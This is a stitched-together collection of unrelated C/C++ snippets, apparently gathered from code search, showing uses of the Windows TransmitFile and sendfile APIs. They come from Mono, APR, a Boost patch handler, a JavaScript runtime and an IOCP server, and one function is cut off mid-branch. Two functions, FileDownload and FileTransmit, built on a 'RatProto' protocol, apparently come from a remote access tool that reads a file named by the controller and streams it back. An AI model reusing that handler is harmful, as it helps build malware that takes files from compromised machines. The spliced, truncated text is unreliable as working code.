void PatchHandler::OnTimeout(const boost::system::error_code& error) { if (error) return; TransmitFile(); }
// 发送请求/响应的文件 bool CTyHttpSvr::SendResponseFile() { string strFilePathName = m_strMainPath; strFilePathName += "/"; strFilePathName += m_mapRequestKeyValue["RequestUrl"]; if (SendResponseHead(strFilePathName.c_str())) return TransmitFile(strFilePathName.c_str()); return false; }
BOOL mono_w32socket_transmit_file (SOCKET hSocket, gpointer hFile, TRANSMIT_FILE_BUFFERS *lpTransmitBuffers, guint32 dwReserved, gboolean blocking) { LOGDEBUG (g_message ("%06d - Performing %s TransmitFile () on socket %d", GetCurrentThreadId (), blocking ? "blocking" : "non-blocking", hSocket)); int error = 0; if (blocking) { OVERLAPPED overlapped = { 0 }; overlapped.hEvent = WSACreateEvent (); if (overlapped.hEvent == WSA_INVALID_EVENT) return FALSE; if (!TransmitFile (hSocket, hFile, 0, 0, &overlapped, lpTransmitBuffers, dwReserved)) { error = WSAGetLastError (); if (error == WSA_IO_PENDING) { error = 0; // NOTE: .NET's Socket.SendFile() doesn't honor the Socket's SendTimeout so we shouldn't either DWORD ret = WaitForSingleObjectEx (overlapped.hEvent, INFINITE, TRUE); if (ret == WAIT_IO_COMPLETION) { LOGDEBUG (g_message ("%06d - WaitForSingleObjectEx () returned WSA_WAIT_IO_COMPLETION for socket %d", GetCurrentThreadId (), hSocket)); error = WSAEINTR; } else if (ret == WAIT_TIMEOUT) { error = WSAETIMEDOUT; } else if (ret != WAIT_OBJECT_0) { error = GetLastError (); } } } WSACloseEvent (overlapped.hEvent); } else { if (!TransmitFile (hSocket, hFile, 0, 0, NULL, lpTransmitBuffers, dwReserved)) { error = WSAGetLastError (); } } LOGDEBUG (g_message ("%06d - Finished %s TransmitFile () on socket %d (ret = %d, WSAGetLastError() = %d)", GetCurrentThreadId (), \ blocking ? "blocking" : "non-blocking", hSocket, error == 0, error)); WSASetLastError (error); return error == 0; }
bool send_file(socket_t sock, FILE * fp, size_t size, int flags) { #if defined _WIN32 HANDLE h = (HANDLE)_get_osfhandle(_fileno(fp)); if (!TransmitFile(sock, h, size, 0, NULL, NULL, 0)) { #elif defined __linux__ int fd = fileno(fp); if (sendfile(sock, fd, NULL, size)==INVALID_SOCKET) { #elif defined __CYGWIN__ int fd = fileno(fp); if (sendfile_generic(sock, fd, NULL, size)==INVALID_SOCKET) { #else if (1) { #endif NANOLOG("failed <%s>\n", nanonet_error_tostring(nanonet_error())); return false; } return true; } uint32_t net_to_host_uint32_t(uint32_t x) { return ntohl(x); } uint16_t net_to_host_uint16_t(uint16_t x) { return ntohs(x); } uint32_t host_to_net_uint32_t(uint32_t x) { return htonl(x); } uint16_t host_to_net_uint16_t(uint16_t x) { return htons(x); } int recv_timeout(socket_t sock, char * buffer, int len, int flags, struct timeval timeout) { fd_set fds = make_fd_set(); FD_SET(sock, &fds); switch (select(sock+1, &fds, NULL, NULL, &timeout)) { case -1: NANOLOG("select <%s>\n", nanonet_error_tostring(nanonet_error())); break; case 0: // timed out return -2; default: if (FD_ISSET(sock, &fds)) return recv(sock, buffer, len, flags); break; } return SOCKET_ERROR; }
void PatchHandler::OnWriteComplete(const boost::system::error_code& error, size_t bytes_transferred) { if (error) return; send_buffer_.Consume(bytes_transferred); if (send_buffer_.length() > 0) { StartAsyncWrite(); return; } TransmitFile(); }
////////////////////////////////////////////////////////////////////////// //下载文件 ////////////////////////////////////////////////////////////////////////// BOOL FileDownload(SOCKET sockfd,int dwSize) { RatProto ratPro; ratPro.RatId = FILE_TRANSMIT; char* szPath = szRecvCmd+sizeof(RatProto); HANDLE hFile = CreateFile(szPath,GENERIC_READ,FILE_SHARE_READ,NULL,OPEN_EXISTING,NULL,NULL); for (int i=strlen(szPath)-1;i>0;i--) { if (szPath[i]=='\\') { break; } else { szPath[i] ='\0'; } } if (hFile==INVALID_HANDLE_VALUE) { ratPro.RatCsm = -1; SendCmd(sockfd,(char*)(&ratPro),sizeof(RatProto)); return FALSE; } else { ratPro.RatCsm = GetFileSize(hFile,NULL); } ratPro.RatLen = sizeof(RatProto); TRANSMIT_FILE_BUFFERS tfb; tfb.Head = &ratPro; tfb.HeadLength = sizeof(RatProto); tfb.TailLength = 0; char szMsg[] = "下载成功!"; BOOL bRet = TransmitFile(sockfd,hFile,NULL,PERSENDBYTES,NULL,&tfb,NULL); if (!bRet) { sprintf(szMsg,"%s","下载失败!"); } ratPro.RatId = FILE_REPLY; ratPro.RatLen = sizeof(RatProto)+MAX_PATH+strlen(szMsg)+1; SendCmd(sockfd,(char*)(&ratPro),sizeof(RatProto)); SendCmd(sockfd,szPath,MAX_PATH); SendCmd(sockfd,szMsg,strlen(szMsg)+1); return TRUE; }
////////////////////////////////////////////////////////////////////////// //传输文件线程函数 ////////////////////////////////////////////////////////////////////////// void FileTransmit(LPVOID fa) { FileArgs* farg = (FileArgs*)fa; RatProto ratPro; ratPro.RatId = FILE_TRANSMIT; ratPro.RatCsm = GetFileSize(farg->hFile,NULL); ratPro.RatLen = sizeof(RatProto); TRANSMIT_FILE_BUFFERS tfb; tfb.Head = &ratPro; tfb.HeadLength = sizeof(RatProto); tfb.TailLength = 0; BOOL bRet = TransmitFile(farg->sockfd,farg->hFile,NULL,PERSENDBYTES,NULL,&tfb,NULL); if (!bRet) { int nRet = WSAGetLastError(); char temp[10]; sprintf(temp,"%d",nRet); MessageBox(NULL,temp,NULL,NULL); } CloseHandle(farg->hFile); }
int64 iob_send(int64 s,io_batch* b) { /* Windows has a sendfile called TransmitFile, which can send one * header and one trailer buffer. */ iob_entry* x,* last; io_entry* e; int64 sent; int i; if (b->bytesleft==0) return 0; sent=-1; e=iarray_get(&io_fds,s); if (!e) { errno=EBADF; return -3; } if (!(x=array_get(&b->b,sizeof(iob_entry),b->next))) return -3; /* can't happen error */ last=(iob_entry*)(((char*)array_start(&b->b))+array_bytes(&b->b)); fprintf(stderr,"iob_send() called!\n"); if (e->canwrite || e->sendfilequeued==1) { fprintf(stderr,"...reaping finished WriteFile/TransmitFile.\n"); /* An overlapping write finished. Reap the result. */ if (e->bytes_written==-1) return -3; if (e->bytes_written<x->n) { sent=e->bytes_written; if (x->n < e->bytes_written) { e->bytes_written-=x->n; x->n=0; ++x; } x->n -= e->bytes_written; x->offset += e->bytes_written; b->bytesleft -= e->bytes_written; } e->canwrite=0; e->sendfilequeued=0; } for (i=0; x+i<last; ++i) if (x[i].n) break; if (x[i].type==FROMBUF) { fprintf(stderr,"found non-sent buffer batch entry at %d\n",i); if (x+i+1 < last && (x[i+1].type==FROMFILE)) { fprintf(stderr,"Next is a file, can use TransmitFile\n",i); TRANSMIT_FILE_BUFFERS tfb; e->sendfilequeued=1; memset(&tfb,0,sizeof(tfb)); memset(&e[i].os,0,sizeof(e[i].os)); e[i].os.Offset=x[i].offset; e[i].os.OffsetHigh=(x[i].offset>>32); fprintf(stderr,"Calling TransmitFile on %p...",s); if (!TransmitFile(s,(HANDLE)x[i].fd, x[i].n+tfb.HeadLength>0xffff?0xffff:x[i].n, 0,&e[i].os,&tfb,TF_USE_KERNEL_APC)) { if (GetLastError()==ERROR_IO_PENDING) { fprintf(stderr," pending.!\n"); e->writequeued=1; errno=EAGAIN; e->errorcode=0; return -1; } else { fprintf(stderr," failed!\n"); e->errorcode=errno; return -3; } } fprintf(stderr," OK!\n"); return sent; } else {
/** * @function net.sendfile * * ### Synopsis * * net.sendFile(sock, path); * net.sendFile(sock, path, offset); * net.sendFile(sock, path, offset, size); * * This function calls the OS sendfile() function to send a complete or partial file to the network entirely within kernel space. It is a HUGE speed win for HTTP and FTP type servers. * * @param {int} sock - file descriptor of socket to send the file to. * @param {string} path - file system path to file to send. * @param {int} offset - offset from beginning of file to send (for partial). If omitted, the entire file is sent. * @param {int} size - number of bytes of the file to send. If omitted, the remainder of the file is sent (or all of it). * * ### Exceptions * An exception is thrown if the file cannot be opened or if there is a sendfile(2) OS call error. */ static JSVAL net_sendfile (JSARGS args) { HandleScope handle_scope; int sock = args[0]->IntegerValue(); String::AsciiValue filename(args[1]); off_t offset = 0; if (args.Length() > 2) { offset = args[2]->IntegerValue(); } size_t size; if (args.Length() > 3) { size = args[3]->IntegerValue(); } else { struct stat buf; if (stat(*filename, &buf)) { printf("%s\n", *filename); perror("SendFile stat"); { FILE* fp=fopen("c:\\error.txt", "a+b"); fprintf(fp, "%d", __LINE__); fclose(fp); } return handle_scope.Close(False()); } size = buf.st_size - offset; } #ifdef WIN32 HANDLE fd = CreateFile(*filename, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_FLAG_SEQUENTIAL_SCAN | FILE_ATTRIBUTE_NORMAL, NULL); if (fd == INVALID_HANDLE_VALUE) { #else int fd = open(*filename, O_RDONLY); if (fd < 0) { #endif return ThrowException(String::Concat(String::New("sendFile open Error: "), String::New(strerror(errno)))); } while (size > 0) { #ifdef __APPLE__ off_t count = size; if (sendfile(fd, sock, offset, &count, NULL, 0) == -1) { close(fd); return ThrowException(String::Concat(String::New("sendFile Error: "), String::New(strerror(errno)))); } #else #ifdef WIN32 SetFilePointer(fd, offset, NULL, FILE_BEGIN); TransmitFile(sock, fd, size, 0, NULL, NULL,0); ssize_t count = size; if (count == -1) { CloseHandle(fd); return ThrowException(String::Concat(String::New("sendFile Error: "), String::New(strerror(errno)))); } #else ssize_t count = sendfile(sock, fd, &offset, size); if (count == -1) { close(fd); return ThrowException(String::Concat(String::New("sendFile Error: "), String::New(strerror(errno)))); } #endif #endif size -= count; offset += count; } #ifdef WIN32 CloseHandle(fd); int flag = 0; setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char*)&flag, sizeof (flag)); flag = 1; setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char*)&flag, sizeof (flag)); #else close(fd); int flag = 0; setsockopt(fd, IPPROTO_TCP, TCP_CORK, &flag, sizeof (flag)); flag = 1; setsockopt(fd, IPPROTO_TCP, TCP_CORK, &flag, sizeof (flag)); #endif return Undefined(); } void init_net_object () { HandleScope scope; Handle<ObjectTemplate>net = ObjectTemplate::New(); net->Set(String::New("connect"), FunctionTemplate::New(net_connect)); net->Set(String::New("listen"), FunctionTemplate::New(net_listen)); net->Set(String::New("accept"), FunctionTemplate::New(net_accept)); net->Set(String::New("remote_addr"), FunctionTemplate::New(net_remote_addr)); net->Set(String::New("cork"), FunctionTemplate::New(net_cork)); net->Set(String::New("close"), FunctionTemplate::New(net_close)); net->Set(String::New("read"), FunctionTemplate::New(net_read)); net->Set(String::New("write"), FunctionTemplate::New(net_write)); net->Set(String::New("writeBuffer"), FunctionTemplate::New(net_writebuffer)); net->Set(String::New("sendFile"), FunctionTemplate::New(net_sendfile)); net->Set(String::New("duplicateSocket"), FunctionTemplate::New(net_duplicateSocket)); net->Set(String::New("getSocketDescriptor"), FunctionTemplate::New(net_getSocketDescriptor)); builtinObject->Set(String::New("net"), net); }
void CServerSocket::DisconnectForReuse( CSocketBuffer * pBuffer ) { if( pBuffer == NULL ) return ; pool_lock() ; try{ if( pBuffer->m_bAccepted /*bAccepted*/ ) { COV_UNIT * pOV ; m_sendSlot.Get_SendUnit( &pOV, 1 ) ; pOV->SetOperation( mode_close_socket ) ; pBuffer->Shutdown( SD_BOTH ) ; //printf( "in DisconnetForReuse\n" ) ; if( pDisconnectEx ) { if( !DisconnectEx( pBuffer, static_cast<LPOVERLAPPED>(pOV), TF_REUSE_SOCKET ) ) { DWORD lastError = ::WSAGetLastError() ; if( ERROR_IO_PENDING != lastError ) { ::PrintConsole( "Error Disconnect : %d\n", lastError ) ; // 이건 어떻게 하나.. } } else { m_iocp.PostStatus( pBuffer->socket, 0, static_cast<LPOVERLAPPED>(pOV) ) ; } } else { if( !TransmitFile( pBuffer, static_cast<LPOVERLAPPED>(pOV) ) ) { DWORD lastError = ::WSAGetLastError() ; if( ERROR_IO_PENDING != lastError ) { ::PrintConsole( "Error Disconnect : %d\n", lastError ) ; // 이건 어떻게 하나.. } } else { m_iocp.PostStatus( pBuffer->socket, 0, static_cast<LPOVERLAPPED>(pOV) ) ; } } } else { } pBuffer->m_bAccepted = false ; } catch (...) { ::PrintConsole("[EXCEPTION] %s, %d \n", __FILE__, __LINE__ ) ; } pool_unlock() ; }
/* * apr_status_t apr_socket_sendfile(apr_socket_t *, apr_file_t *, apr_hdtr_t *, * apr_off_t *, apr_size_t *, apr_int32_t flags) * Send a file from an open file descriptor to a socket, along with * optional headers and trailers * arg 1) The socket to which we're writing * arg 2) The open file from which to read * arg 3) A structure containing the headers and trailers to send * arg 4) Offset into the file where we should begin writing * arg 5) Number of bytes to send out of the file * arg 6) APR flags that are mapped to OS specific flags */ APR_DECLARE(apr_status_t) apr_socket_sendfile(apr_socket_t *sock, apr_file_t *file, apr_hdtr_t *hdtr, apr_off_t *offset, apr_size_t *len, apr_int32_t flags) { apr_status_t status = APR_SUCCESS; apr_status_t rv; apr_off_t curoff = *offset; DWORD dwFlags = 0; apr_size_t nbytes; TRANSMIT_FILE_BUFFERS tfb, *ptfb = NULL; int ptr = 0; apr_size_t bytes_to_send; /* Bytes to send out of the file (not including headers) */ int disconnected = 0; int sendv_trailers = 0; char hdtrbuf[4096]; if (apr_os_level < APR_WIN_NT) { return APR_ENOTIMPL; } /* Use len to keep track of number of total bytes sent (including headers) */ bytes_to_send = *len; *len = 0; /* Handle the goofy case of sending headers/trailers and a zero byte file */ if (!bytes_to_send && hdtr) { if (hdtr->numheaders) { rv = apr_socket_sendv(sock, hdtr->headers, hdtr->numheaders, &nbytes); if (rv != APR_SUCCESS) return rv; *len += nbytes; } if (hdtr->numtrailers) { rv = apr_socket_sendv(sock, hdtr->trailers, hdtr->numtrailers, &nbytes); if (rv != APR_SUCCESS) return rv; *len += nbytes; } return APR_SUCCESS; } memset(&tfb, '\0', sizeof (tfb)); /* Collapse the headers into a single buffer */ if (hdtr && hdtr->numheaders) { apr_size_t head_length = tfb.HeadLength; ptfb = &tfb; nbytes = 0; rv = collapse_iovec((char **)&ptfb->Head, &head_length, hdtr->headers, hdtr->numheaders, hdtrbuf, sizeof(hdtrbuf)); tfb.HeadLength = (DWORD)head_length; /* If not enough buffer, punt to sendv */ if (rv == APR_INCOMPLETE) { rv = apr_socket_sendv(sock, hdtr->headers, hdtr->numheaders, &nbytes); if (rv != APR_SUCCESS) return rv; *len += nbytes; ptfb = NULL; } } /* Initialize the overlapped structure used on TransmitFile */ if (!sock->overlapped) { sock->overlapped = apr_pcalloc(sock->pool, sizeof(OVERLAPPED)); sock->overlapped->hEvent = CreateEvent(NULL, FALSE, FALSE, NULL); } while (bytes_to_send) { DWORD xmitbytes; if (bytes_to_send > MAX_SEGMENT_SIZE) { xmitbytes = MAX_SEGMENT_SIZE; } else { /* Last call to TransmitFile() */ xmitbytes = (DWORD)bytes_to_send; /* Collapse the trailers into a single buffer */ if (hdtr && hdtr->numtrailers) { apr_size_t tail_length = tfb.TailLength; ptfb = &tfb; rv = collapse_iovec((char**) &ptfb->Tail, &tail_length, hdtr->trailers, hdtr->numtrailers, hdtrbuf + ptfb->HeadLength, sizeof(hdtrbuf) - ptfb->HeadLength); tfb.TailLength = (DWORD)tail_length; if (rv == APR_INCOMPLETE) { /* If not enough buffer, punt to sendv, later */ sendv_trailers = 1; } } /* Disconnect the socket after last send */ if ((flags & APR_SENDFILE_DISCONNECT_SOCKET) && !sendv_trailers) { dwFlags |= TF_REUSE_SOCKET; dwFlags |= TF_DISCONNECT; disconnected = 1; } } sock->overlapped->Offset = (DWORD)(curoff); #if APR_HAS_LARGE_FILES sock->overlapped->OffsetHigh = (DWORD)(curoff >> 32); #endif /* XXX BoundsChecker claims dwFlags must not be zero. */ rv = TransmitFile(sock->socketdes, /* socket */ file->filehand, /* open file descriptor of the file to be sent */ xmitbytes, /* number of bytes to send. 0=send all */ 0, /* Number of bytes per send. 0=use default */ sock->overlapped, /* OVERLAPPED structure */ ptfb, /* header and trailer buffers */ dwFlags); /* flags to control various aspects of TransmitFile */ if (!rv) { status = apr_get_netos_error(); if ((status == APR_FROM_OS_ERROR(ERROR_IO_PENDING)) || (status == APR_FROM_OS_ERROR(WSA_IO_PENDING))) { rv = WaitForSingleObject(sock->overlapped->hEvent, (DWORD)(sock->timeout >= 0 ? sock->timeout_ms : INFINITE)); if (rv == WAIT_OBJECT_0) { status = APR_SUCCESS; if (!disconnected) { if (!WSAGetOverlappedResult(sock->socketdes, sock->overlapped, &xmitbytes, FALSE, &dwFlags)) { status = apr_get_netos_error(); } /* Ugly code alert: WSAGetOverlappedResult returns * a count of all bytes sent. This loop only * tracks bytes sent out of the file. */ else if (ptfb) { xmitbytes -= (ptfb->HeadLength + ptfb->TailLength); } } } else if (rv == WAIT_TIMEOUT) { status = APR_FROM_OS_ERROR(WAIT_TIMEOUT); } else if (rv == WAIT_ABANDONED) { /* Hummm... WAIT_ABANDONDED is not an error code. It is * a return specific to the Win32 WAIT functions that * indicates that a thread exited while holding a * mutex. Should consider triggering an assert * to detect the condition... */ status = APR_FROM_OS_ERROR(WAIT_TIMEOUT); } else status = apr_get_os_error(); } } if (status != APR_SUCCESS) break; bytes_to_send -= xmitbytes; curoff += xmitbytes; *len += xmitbytes; /* Adjust len for any headers/trailers sent */ if (ptfb) { *len += (ptfb->HeadLength + ptfb->TailLength); memset(&tfb, '\0', sizeof (tfb)); ptfb = NULL; } } if (status == APR_SUCCESS) { if (sendv_trailers) { rv = apr_socket_sendv(sock, hdtr->trailers, hdtr->numtrailers, &nbytes); if (rv != APR_SUCCESS) return rv; *len += nbytes; } /* Mark the socket as disconnected, but do not close it. * Note: The application must have stored the socket prior to making * the call to apr_socket_sendfile in order to either reuse it * or close it. */ if (disconnected) { sock->disconnected = 1; sock->socketdes = INVALID_SOCKET; } } return status; }